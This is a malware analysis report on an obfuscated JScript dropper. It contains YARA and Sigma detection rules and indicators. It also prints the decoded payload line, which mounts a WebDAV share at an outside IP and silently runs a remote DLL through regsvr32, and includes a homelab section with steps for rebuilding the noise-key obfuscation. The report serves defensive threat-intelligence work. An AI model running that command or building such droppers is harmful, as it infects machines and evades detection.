unclassified-js-webdav-dropper: 41d04ad5 — 36-entry noise-key dictionary, 45.9.74.36:8888, no PowerShell wrapper

Executive Summary

A 5.2 KB JScript Windows Script Host dropper using a 36-entry noise-key dictionary lookup-table obfuscation. The decoded payload mounts a WebDAV share at 45.9.74.36:8888 and silently registers a remote DLL (135361106517425.dll) via regsvr32 /s. No PowerShell wrapper, no decoy, and no sandbox gate. Fifty-ninth confirmed sibling in the unclassified-js-webdav-dropper cluster. Static-only analysis (CAPE skipped — JScript text file).

What It Is

How It Works

The script is a single line of JScript wrapped in a try/catch block. ^[strings.txt:37]

1. Dictionary construction — Declares an object ilsqdjmcpvjw and populates it with 36 key/value pairs. Keys are random lowercase noise strings (10–25 characters, no semantic content); values are single ASCII characters covering the full alphanumeric set plus common symbols required to assemble a command line. ^[strings.txt:1–36]
2. Decoy entry point — try{hadffgu();}catch(...) calls an undefined function, guaranteeing the catch path executes.
3. Global object access — Uses Function(''+/*...*/)()['...']['...']('...')['...']('...', 0, false) to assemble and invoke WScript.Shell.Run via dictionary lookups, avoiding any hardcoded API names in the source. ^[strings.txt:37]
4. Decoded payload — After de-obfuscation the payload reads:

   cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\135361106517425.dll
   

   This mounts the WebDAV share and silently loads the remote DLL in-process via the signed regsvr32.exe binary.

No PowerShell wrapper, no wordpad decoy, no sandbox gating, and no self-replication logic are present in this variant.

C2 Infrastructure

• WebDAV mount / payload host: 45.9.74.36:8888 (single IP for both net use and DLL fetch) ^[strings.txt:37] (decoded)
• Payload filename: 135361106517425.dll ^[strings.txt:37] (decoded)
• Execution chain: wscript.exe → cmd.exe /k → net use + regsvr32 /s → remote DLL over HTTP/WebDAV

Interesting Tidbits

• The dictionary object name (ilsqdjmcpvjw) and the decoy function name (hadffgu) are 11-character and 7-character random noise strings, respectively — consistent with the family's hand-written, non-tool-generated obfuscation. ^[strings.txt:1]
• Key lengths vary from 10 characters (jxgp) to 25 characters (gnjtumlydkmptzucbui), with no delimiter pattern — suggesting manual assignment rather than automated generation. ^[strings.txt:1–36]
• This is the eleventh distinct 36-entry noise-key dictionary observed in the family, and the first on the 45.9.74.36:8888 infrastructure since sibling 41472c6a (which also used 36-entry noise keys). The disjoint key sets between siblings indicate per-build manual re-keying or a simple randomizer script.
• No toUpperCase() calls are used on the decoded command-line characters (unlike the 62-entry variants that uppercase W and S in WScript.Shell). Instead, the dictionary explicitly contains both lowercase and the required uppercase letters (o vs O, etc.). This is a tell for the 36-entry noise-key dialect.

How To Mess With It (Homelab Replication)

1. Build a noise-key dictionary. Generate 36 random lowercase strings (8–20 chars). Map each to a single character needed for your payload command.
2. Encode the payload. Replace every character of cmd /k net use \\<ip>@8888\davwwwroot\ && regsvr32 /s \\<ip>@8888\davwwwroot\<payload>.dll with concatenated dictionary lookups.
3. Wrap in decoy. Use try{undefined();}catch(e){ <assembled Function(...) > }.
4. Test against EDR. Static string matching will fail. Behavioral detection (monitoring wscript.exe spawning cmd.exe with regsvr32 and DavWWWRoot) is the reliable detection path.

Deployable Signatures

YARA Rule

rule UNCLASSIFIED_JS_WEBDAV_DROPPER_41D04AD5 {
    meta:
        description = "JScript WebDAV dropper — 36-entry noise-key dictionary, 45.9.74.36:8888 C2"
        family    = "unclassified-js-webdav-dropper"
        author    = "PacketPursuit"
        date      = "2026-07-13"
        sha256    = "41d04ad5999555d632e0fdf4cd1aba63bc4d4abe319ef699c6b4a09219b7b40a"
    strings:
        $a = "ilsqdjmcpvjw=[];"
        $b = "ilsqdjmcpvjw['uxmgkrrlgwlfspsn']='o';"
        $c = "Function(''+/*"
        $d = "davwwwroot" nocase
        $e = "regsvr32 /s"
    condition:
        $a and $b and $c and $d and $e
}

Behavioral Hunt Query (Sigma)

title: WebDAV Regsvr32 DLL Execution from JScript Dropper
id: 41d04ad5-0000-0000-0000-000000000001
status: experimental
description: Detects regsvr32.exe loading a DLL from a DavWWWRoot UNC path, spawned from wscript/cscript/cmd
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'DavWWWRoot'
            - 'davwwwroot'
        CommandLine|contains: 'regsvr32'
    parent_chain:
        ParentImage|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
            - '\cmd.exe'
    condition: selection and parent_chain
falsepositives:
    - Rare legitimate IT administration using WebDAV for COM DLL registration
level: high
tags:
    - attack.execution
    - attack.t1218.010
    - attack.t1071.001

IOC List

Behavioral Fingerprint

This JScript dropper builds a 36-entry noise-key dictionary at runtime, then assembles a WScript.Shell.Run call via the Function('return this')() global object accessor. The resulting command spawns cmd.exe /k net use to mount a WebDAV share at \\45.9.74.36@8888\DavWWWRoot\, followed immediately by regsvr32 /s to silently load a remote DLL (135361106517425.dll) over HTTP. No PowerShell intermediary, no decoy application, and no sandbox gating are present. Detection should focus on the wscript.exe → cmd.exe → regsvr32.exe chain with a DavWWWRoot UNC path in the command line, rather than static string matching inside the .js file.

Detection Signatures

References

• unclassified-js-webdav-dropper — cluster entity page
• js-dictionary-char-lookup-obfuscation — technique page for dictionary obfuscation
• webdav-regsvr32-dll-sideloading — technique page for WebDAV + regsvr32 execution chain
• Artifact ID: 2825b4eb-7c6c-4f41-8020-bfc23cbe4d2c ^[triage.json]

Provenance

Static analysis only. Sources: file.txt, strings.txt (full JScript source), triage.json, dynamic-analysis.md (CAPE skipped). Decoded payload reconstructed by extracting the try/catch block and resolving dictionary lookups against the 36-entry ilsqdjmcpvjw map. No Ghidra / radare2 applicable (text file). No capa / floss output (tools unsupported for text input).